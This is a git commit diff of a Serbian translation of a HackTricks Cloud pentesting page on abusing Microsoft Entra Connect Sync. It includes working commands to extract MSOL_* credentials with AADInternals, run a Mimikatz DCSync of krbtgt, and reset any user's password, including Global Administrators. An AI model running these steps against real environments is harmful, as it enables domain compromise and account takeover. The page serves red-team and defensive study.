mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement
This commit is contained in:
@@ -4,61 +4,64 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect sinhronizacione usluge (Microsoft Entra Connect Sync) su glavni komponenta Microsoft Entra Connect. Ona se brine o svim operacijama koje se odnose na sinhronizaciju identitetskih podataka između vašeg lokalnog okruženja i Microsoft Entra ID.
|
||||
[Prema dokumentaciji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) je glavna komponenta Microsoft Entra Connect. Ona se brine o svim operacijama vezanim za sinhronizaciju podataka o identitetima između vašeg on-premises okruženja i Microsoft Entra ID.
|
||||
|
||||
Sync servis se sastoji iz dve komponente, on-premises **Microsoft Entra Connect Sync** komponente i servisne strane u Microsoft Entra ID koja se zove **Microsoft Entra Connect Sync service**.
|
||||
|
||||
Da biste ga koristili, potrebno je instalirati **`Microsoft Entra Connect Sync`** agent na server unutar vašeg AD okruženja. Ovaj agent će biti taj koji upravlja sinhronizacijom sa AD strane.
|
||||
|
||||
Da biste je koristili, potrebno je instalirati **`Microsoft Entra Connect Sync`** agenta na serveru unutar vašeg AD okruženja. Ovaj agent će se brinuti o sinhronizaciji sa AD strane.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** je u suštini "stari" Azure način da se **sinhronizuju korisnici iz AD u Entra ID.** Novi preporučeni način je korišćenje **Entra Cloud Sync**:
|
||||
**Connect Sync** je u suštini "stari" Azure način da se **synchronize users from AD into Entra ID.** Novi preporučeni način je da se koristi **Entra Cloud Sync**:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Generisani principi
|
||||
### Generisani Principals
|
||||
|
||||
- Nalog **`MSOL_<installationID>`** se automatski kreira u lokalnom AD-u. Ovaj nalog dobija ulogu **Directory Synchronization Accounts** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **repliciranje (DCSync) dozvole u lokalnom AD-u**.
|
||||
- To znači da svako ko kompromituje ovaj nalog može kompromitovati lokalnu domenu.
|
||||
- U lokalnom AD-u se kreira upravljani servisni nalog **`ADSyncMSA<id>`** bez posebnih podrazumevanih privilegija.
|
||||
- U Entra ID se kreira servisni princip **`ConnectSyncProvisioning_ConnectSync_<id>`** sa sertifikatom.
|
||||
- Nalog **`MSOL_<installationID>`** se automatski kreira u on-prem AD. Ovaj nalog dobija ulogu **Directory Synchronization Accounts** (vidi [dokumentaciju](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) što znači da ima **replication (DCSync) permissions in the on-prem AD**.
|
||||
- To znači da će svako ko kompromituje ovaj nalog moći da kompromituje on-premise domen.
|
||||
- Managed service account **`ADSyncMSA<id>`** se kreira u on-prem AD bez posebnih podrazumevanih privilegija.
|
||||
- U Entra ID se kreira Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** sa sertifikatom.
|
||||
|
||||
## Sinhronizacija lozinki
|
||||
|
||||
### Sinhronizacija hešova lozinki
|
||||
### Password Hash Synchronization
|
||||
|
||||
Ova komponenta se takođe može koristiti za **sinhronizaciju lozinki iz AD u Entra ID** tako da korisnici mogu koristiti svoje AD lozinke za pristup Entra ID. Za to je potrebno omogućiti sinhronizaciju hešova lozinki u Microsoft Entra Connect Sync agentu instaliranom na AD serveru.
|
||||
Ova komponenta se takođe može koristiti da **sychronize passwords from AD into Entra ID** tako da korisnici mogu koristiti svoje AD lozinke za prijavu u Entra ID. Za ovo je potrebno omogućiti password hash synchronization u Microsoft Entra Connect Sync agentu instaliranom na AD serveru.
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sinhronizacija hešova lozinki** je jedna od metoda prijavljivanja koja se koristi za postizanje hibridnog identiteta. **Azure AD Connect** sinhronizuje heš, heša, lozinke korisnika iz lokalnog Active Directory instance u cloud-baziranu Azure AD instancu.
|
||||
[Prema dokumentaciji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** je jedan od načina prijave koji se koristi za postizanje hybrid identity. **Azure AD Connect** sinhronizuje hash, od hasha, korisničke lozinke iz on-premises Active Directory instance u cloud-based Azure AD instancu.
|
||||
|
||||
U suštini, svi **korisnici** i **heš lozinki** se sinhronizuju iz lokalnog u Azure AD. Međutim, **lozinke u čistom tekstu** ili **originalni** **heševi** se ne šalju u Azure AD.
|
||||
U suštini, svi **users** i **hash of the password hashes** se sinhronizuju sa on-prem u Azure AD. Međutim, **clear-text passwords** ili originalni **hashes** se ne šalju u Azure AD.
|
||||
|
||||
**Sinhronizacija heševa** se dešava svake **2 minuta**. Međutim, podrazumevano, **istek lozinke** i **istek naloga** se **ne sinhronizuju** u Azure AD. Tako da korisnik čija je **lokalna lozinka istekla** (nije promenjena) može nastaviti da **pristupa Azure resursima** koristeći staru lozinku.
|
||||
Sinhronizacija **hashes** se događa na svakih **2 minutes**. Međutim, po defaultu, **password expiry** i **account** **expiry** nisu **sync** u Azure AD. Dakle, korisnik čija je **on-prem password is expired** (nije promenjena) može nastaviti da **access Azure resources** koristeći staru lozinku.
|
||||
|
||||
Kada lokalni korisnik želi da pristupi Azure resursu, **autentifikacija se vrši na Azure AD**.
|
||||
Kada on-prem korisnik želi da pristupi Azure resursu, **authentication takes place on Azure AD**.
|
||||
|
||||
> [!NAPOMENA]
|
||||
> Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` na 1 nisu sinhronizovani** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su direktno dodeljeni visoke privilegije **mogu biti sinhronizovani**.
|
||||
> [!NOTE]
|
||||
> Po defaultu korisnici iz poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` to 1 are not synchronized** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su direktno dodeljeni visokim privilegijama **can be synchronized**.
|
||||
|
||||
### Pisanje lozinki
|
||||
### Password Writeback
|
||||
|
||||
Ova konfiguracija omogućava **sinhronizaciju lozinki iz Entra ID u AD** kada korisnik promeni svoju lozinku u Entra ID. Imajte na umu da za rad pisanja lozinki, korisniku `MSOL_<id>` automatski generisanom u AD-u, treba dodeliti [više privilegija kao što je navedeno u dokumentima](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) kako bi mogao da **menja lozinke bilo kog korisnika u AD-u**.
|
||||
Ova konfiguracija omogućava da se **sychronize passwords from Entra ID into AD** kada korisnik promeni lozinku u Entra ID. Obratite pažnju da da bi password writeback radio, `MSOL_<id>` korisniku koji je automatski generisan u AD mora biti dodeljeno [više privilegija kako je navedeno u dokumentaciji](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) tako da će moći da **modify the passwords of any user in the AD**.
|
||||
|
||||
Ovo je posebno zanimljivo za kompromitovanje AD-a iz kompromitovanog Entra ID-a jer ćete moći da menjate lozinku "gotovo" bilo kog korisnika.
|
||||
Ovo je posebno interesantno za kompromitovanje AD iz kompromitovanog Entra ID jer ćete moći da izmenite lozinku "skoro" bilo kog korisnika.
|
||||
|
||||
Domain administratori i drugi korisnici koji pripadaju nekim privilegovanim grupama se ne repliciraju ako grupa ima **`adminCount` atribut na 1**. Ali drugi korisnici koji su dodeljeni visoke privilegije unutar AD-a bez pripadnosti bilo kojoj od tih grupa mogli bi imati promenjenu lozinku. Na primer:
|
||||
Domain admins i drugi korisnici koji pripadaju nekim privilegovanim grupama nisu replicirani ako grupa ima **`adminCount` attribute to 1**. Ali drugi korisnici kojima su dodeljene visoke privilegije unutar AD bez pripadanja tim grupama mogu imati promenjenu lozinku. Na primer:
|
||||
|
||||
- Korisnici dodeljeni visoke privilegije direktno.
|
||||
- Korisnici kojima su visoke privilegije dodeljene direktno.
|
||||
- Korisnici iz grupe **`DNSAdmins`**.
|
||||
- Korisnici iz grupe **`Group Policy Creator Owners`** koji su kreirali GPO-ove i dodelili ih OU-ima moći će da menjaju GPO-ove koje su kreirali.
|
||||
- Korisnici iz grupe **`Cert Publishers Group`** koji mogu objavljivati sertifikate u Active Directory.
|
||||
- Korisnici bilo koje druge grupe sa visokim privilegijama bez **`adminCount` atributa na 1**.
|
||||
- Korisnici iz grupe **`Group Policy Creator Owners`** koji su kreirali GPO-e i dodelili ih OU-ovima će moći da menjaju GPO-e koje su kreirali.
|
||||
- Korisnici iz **`Cert Publishers Group`** koji mogu da objavljuju sertifikate u Active Directory.
|
||||
- Korisnici iz bilo koje druge grupe sa visokim privilegijama bez **`adminCount` attribute to 1**.
|
||||
|
||||
## Pivotiranje AD --> Entra ID
|
||||
## Pivoting AD --> Entra ID
|
||||
|
||||
### Enumeracija Connect Sync
|
||||
### Enumerating Connect Sync
|
||||
|
||||
Proverite korisnike:
|
||||
Proveri korisnike:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
@@ -76,25 +79,25 @@ $searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
Proverite **Connect Sync konfiguraciju** (ako postoji):
|
||||
Proveri **Connect Sync konfiguraciju** (ako postoji):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Pronalaženje lozinki
|
||||
|
||||
Lozinke **`MSOL_*`** korisnika (i **Sync\_\*** korisnika ako je kreiran) su **smeštene u SQL serveru** na serveru gde je **Entra ID Connect instaliran.** Administratori mogu da izvuku lozinke tih privilegovanih korisnika u čistom tekstu.\
|
||||
Lozinke korisnika **`MSOL_*`** (i korisnika **Sync\_\*** ako je kreiran) su **smeštene u SQL serveru** na serveru gde je instaliran **Entra ID Connect.** Administratori mogu izvući lozinke tih privilegovanih korisnika u clear-text.\
|
||||
Baza podataka se nalazi u `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna enkriptovana:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Enkriptovana konfiguracija** je enkriptovana sa **DPAPI** i sadrži **lozinke `MSOL_*`** korisnika u on-prem AD i lozinku **Sync\_\*** u AzureAD. Stoga, kompromitovanjem ovih lozinki moguće je izvršiti privesc na AD i AzureAD.
|
||||
**Encrypted configuration** je šifrovana pomoću **DPAPI** i sadrži **lozinke korisnika `MSOL_*`** u on-prem AD i lozinku **Sync\_\*** u AzureAD. Dakle, kompromitovanjem ovih naloga moguće je privesc na AD i na AzureAD.
|
||||
|
||||
Možete pronaći [potpun pregled o tome kako su ove kredencijale smeštene i dekriptovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
Možete pronaći [potpun pregled kako su ove kredencijale skladištene i dekriptovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Zloupotreba MSOL\_*
|
||||
### Zloupotreba MSOL\_\*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
@@ -112,7 +115,8 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Prethodni napadi su kompromitovali drugu lozinku kako bi se povezali sa Entra ID korisnikom pod imenom `Sync_*` i zatim kompromitovali Entra ID. Međutim, ovaj korisnik više ne postoji.
|
||||
> Prethodni napadi kompromitovali su drugi password da bi se zatim povezali na Entra ID korisnika zvanog `Sync_*` i potom kompromitovali Entra ID. Međutim, taj korisnik više ne postoji.
|
||||
|
||||
|
||||
### Zloupotreba ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
@@ -120,26 +124,26 @@ Ova aplikacija je kreirana bez dodeljenih Entra ID ili Azure upravljačkih uloga
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Microsoft usluga resetovanja lozinke
|
||||
- Microsoft password reset service
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Pominje se da se SP ove aplikacije još uvek može koristiti za obavljanje nekih privilegovanih radnji koristeći nedokumentovani API, ali do sada nije pronađen nijedan PoC.\
|
||||
U svakom slučaju, razmišljajući da bi to moglo biti moguće, bilo bi zanimljivo dalje istražiti kako pronaći sertifikat za prijavu kao ovaj servisni principal i pokušati da ga zloupotrebimo.
|
||||
Pominje se da SP ove aplikacije i dalje može biti korišćen za izvođenje nekih privilegovanih radnji koristeći nedokumentovani API, ali koliko mi je poznato još nije pronađen PoC.\
|
||||
U svakom slučaju, pošto bi to moglo biti moguće, interesantno bi bilo dalje istražiti kako pronaći sertifikat za prijavu kao ovaj service principal i pokušati ga zloupotrebiti.
|
||||
|
||||
Ovaj [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) objavljen je ubrzo pre promene sa korišćenja korisnika `Sync_*` na ovaj servisni principal, objasnio je da je sertifikat bio smešten unutar servera i da je bilo moguće pronaći ga, generisati PoP (Proof of Possession) za njega i graf token, i sa ovim, biti u mogućnosti da doda novi sertifikat servisnom principalu (jer **servisni principal** uvek može dodeliti nove sertifikate) i zatim ga koristiti za održavanje postojanosti kao SP.
|
||||
This [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) released soon after the change from using the `Sync_*` user to this service principal, explained that the certificate was stored inside the server and it was possible to find it, generate PoP (Proof of Possession) of it and graph token, and with this, be able to add a new certificate to the service principal (because a **service principal** can always assign itself new certificates) and then use it to maintain persistence as the SP.
|
||||
|
||||
Kako bi se izvršile ove radnje, sledeći alati su objavljeni: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
In order to perform these actions, the following tools are published: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
Prema mom iskustvu, sertifikat više nije smešten na mestu gde je prethodni alat tražio, i stoga, alat više ne funkcioniše. Tako da bi mog research mogao biti potreban.
|
||||
According to [this question](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), in order to find the certificate, you must run the tool from a process that has **stolen the token of the `miiserver` process**.
|
||||
|
||||
### Zloupotreba Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Prethodno je korisnik pod imenom `Sync_*` kreiran u Entra ID sa veoma osetljivim dozvolama, što je omogućilo obavljanje privilegovanih radnji kao što su modifikacija lozinke bilo kog korisnika ili dodavanje nove kredencijale servisnom principalu. Međutim, od januara 2025. ovaj korisnik više ne bude kreiran po defaultu jer se sada koristi aplikacija/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ipak, može biti prisutan u nekim okruženjima, pa vredi proveriti.
|
||||
> Ranije je u Entra ID stvaran korisnik `Sync_*` sa veoma osetljivim dodeljenim dozvolama, što je omogućavalo izvođenje privilegovanih radnji kao što su menjanje password-a bilo kog korisnika ili dodavanje novog credential-a service principal-u. Međutim, od Jan2025 ovaj korisnik više nije kreiran po defaultu jer se sada koristi Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ipak, on i dalje može postojati u nekim okruženjima, pa vredi proveriti njegovo prisustvo.
|
||||
|
||||
Kompromitovanjem **`Sync_*`** naloga moguće je **resetovati lozinku** bilo kog korisnika (uključujući Globalne Administratore)
|
||||
Kompromitujući nalog **`Sync_*`** moguće je **reset the password** bilo kog korisnika (uključujući Global Administrators)
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
@@ -163,7 +167,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Takođe je moguće **modifikovati lozinke samo za cloud** korisnike (čak i ako to nije očekivano)
|
||||
Takođe je moguće **izmeniti lozinke samo cloud** korisnika (čak i ako je to neočekivano)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
@@ -172,25 +176,25 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Takođe je moguće izvući lozinku ovog korisnika.
|
||||
Takođe je moguće dump-ovati lozinku ovog korisnika.
|
||||
|
||||
> [!CAUTION]
|
||||
> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što korisnik **Sync** ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način za privesc.
|
||||
> Druga opcija bi bila da se **assign privileged permissions** service principal-u, što **Sync** user ima **permissions** da uradi, i zatim **access that service principal** kao način privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Moguće je koristiti Seamless SSO sa PHS, koji je podložan drugim zloupotrebama. Proverite to u:
|
||||
Moguće je koristiti Seamless SSO sa PHS, što je ranjivo na druge zloupotrebe. Pogledajte to u:
|
||||
|
||||
{{#ref}}
|
||||
az-seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivotiranje Entra ID --> AD
|
||||
## Pivoting Entra ID --> AD
|
||||
|
||||
- Ako je omogućeno vraćanje lozinke, možete **modifikovati lozinku bilo kog korisnika u AD** koji je sinhronizovan sa Entra ID.
|
||||
- Ako je omogućeno vraćanje grupa, možete **dodavati korisnike u privilegovane grupe** u Entra ID koje su sinhronizovane sa AD.
|
||||
- Ako je password writeback omogućen, možete **izmeniti lozinku bilo kog korisnika u AD-u** koji je sinhronizovan sa Entra ID-om.
|
||||
- Ako je groups writeback omogućen, možete **dodati korisnike u privileged groups** u Entra ID koje su sinhronizovane sa AD-om.
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
Reference in New Issue
Block a user